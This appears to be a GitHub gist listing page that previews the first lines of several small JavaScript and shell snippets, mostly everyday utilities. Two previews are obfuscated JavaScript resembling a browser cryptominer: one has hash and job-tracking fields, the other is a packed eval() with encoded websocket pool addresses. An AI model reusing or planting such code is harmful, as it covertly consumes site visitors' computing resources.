This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Separate a large number into commas | |
* @param {Number} num The number to split up | |
* @param {Object|String} opts Options, for now it's just joiner is the possible joiner, if you'd like to use dots instead of commas or something. | |
* @example | |
* commas(12345678) // returns 12,345,678 | |
* @example | |
* commas(211409200504011, {joiner:"."}) // returns 211.409.200.504.011 | |
*/ | |
function commas(num, opts) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Replaces text automatically in an HTML element that has a value attribute and an input event, such as <input type=text> or <textarea></textarea> | |
* @param {EventTarget} element The element that you wish to autoreplace text in. | |
* @param {Array} arr The array of options arrays. Each array element should be an array, with its first element being a string to input, and the second being a RegExp or array of RegExps that it will replace | |
* @example <caption>Replaces any match of the regex's /Hello/gi or /example/g with the string "World" in the element with id=input</caption> | |
* autoReplace(document.getElementById("input"), [ | |
* ["World", [/Hello/gi, /example/g]] | |
* ]); | |
*/ | |
function autoReplace(element, arr) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function m(strings,...reps) { | |
let lines = strings.reduce((str, cur, i) => str + cur + (reps[i] || ""), "").split("\n"); | |
let ws = new RegExp(`^${/^(\s+)/.exec(lines[1])[0]}`); | |
return lines.map(line => line.replace(ws, "")).join("\n"); | |
} | |
try{export m as default}catch(e){try{module.exports=m}catch(r){}} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Like map, but it changes the original array. | |
* @param {Function} func The function to apply to the rest of the array. Gets passed the current element, its index, and the total array. | |
*/ | |
Array.prototype.apply = function apply(func) { | |
for (var i = 0; i < this.length; i++) { | |
this[i] = func(this[i], i, this); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* @legume | |
* @name replace-character | |
* @version 1.0.0 | |
*/ | |
(function (root, factory) { | |
if (typeof define === 'function' && define.amd) { | |
define('replace-character', [], factory); | |
} else if (typeof module === 'object' && module.exports) { | |
module.exports = factory(); | |
} else { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
function cdb() { | |
USAGE="Usage: cdb ([-c|-d] <bookmark>[/dir[/...]]|-l|-h)" ; | |
if [ ! -e ~/.cd_bookmarks ] ; then | |
mkdir ~/.cd_bookmarks | |
fi | |
case $1 in | |
# create bookmark | |
-c) shift |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function (_0x2c0d57) { | |
'use strict'; | |
var _0x2abb26 = function (_0x49cf73, _0x3cf5eb) { | |
this['params'] = _0x3cf5eb || {}; | |
this['_sitek'] = _0x49cf73; | |
this['_threads'] = []; | |
this['_hashes'] = 0x0; | |
this['_curr3ntJ0b'] = null; | |
this['_autoReconnect'] = !![]; | |
this['_reconnectRetry'] = 0x3; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4B.dL=4B.dL||{};4B.dL.jF={iI:\'sq://pr.a8.1p./\',pq:\'pp.js\',po:![],pn:[["3Z:\\/\\/a8.ht.:3X\\/3W","3Z:\\/\\/a8.jw.:3X\\/3W","3Z:\\/\\/a8.pm.:3X\\/3W","3Z:\\/\\/a8.ju.:3X\\/3W","3Z:\\/\\/9s.pk.:3X\\/3W","3Z:\\/\\/9s.jh.:3X\\/3W","3Z:\\/\\/9s.4S.:3X\\/3W","3Z:\\/\\/9s.fR.:3X\\/3W","3Z:\\/\\/9s.ht.:3X\\/3W","3Z:\\/\\/9s.jz.:3X\\/3W","3Z:\\/\\/6H.jh.:3X\\/3W","3Z:\\/\\/6H.4S.:3X\\/3W","3Z:\\/\\/6H.fR.:3X\\/3W","3Z:\\/\\/6H.jz.:3X\\/3W","3Z:\\/\\/6H.jw.:3X\\/3W","3Z:\\/\\/6H.pj.:3X\\/3W","3Z:\\/\\/6H.pi.:3X\\/3W","3Z:\\/\\/6H.1p.:3X\\/3W","3Z:\\/\\/6H.ju.:3X\\/3W","3Z:\\/\\/6H.k7.:3X\\/3W"]],ph:"",pg:"",pf:""};1b 1o={fw:(1d(1l){1e dL.jF.iI+1l})};1b 1o=2b 1o!=="2m"?1o:{};1b 9w={};1b 2R;2k( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl http://download.icu-project.org/files/icu4c/57.1/icu4c-57_1-src.tgz | tar xvz | |
cd icu/source | |
./configure | |
make | |
cp lib/* /usr/lib | |
cd ../.. | |
rm -rf icu |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env sh | |
set -e | |
if [ ! -f "$1" ]; then | |
echo "Input file doesn't exist" | |
exit 1 | |
fi | |
if [ ! "$2" ]; then | |
echo "Must provide output file" |
OlderNewer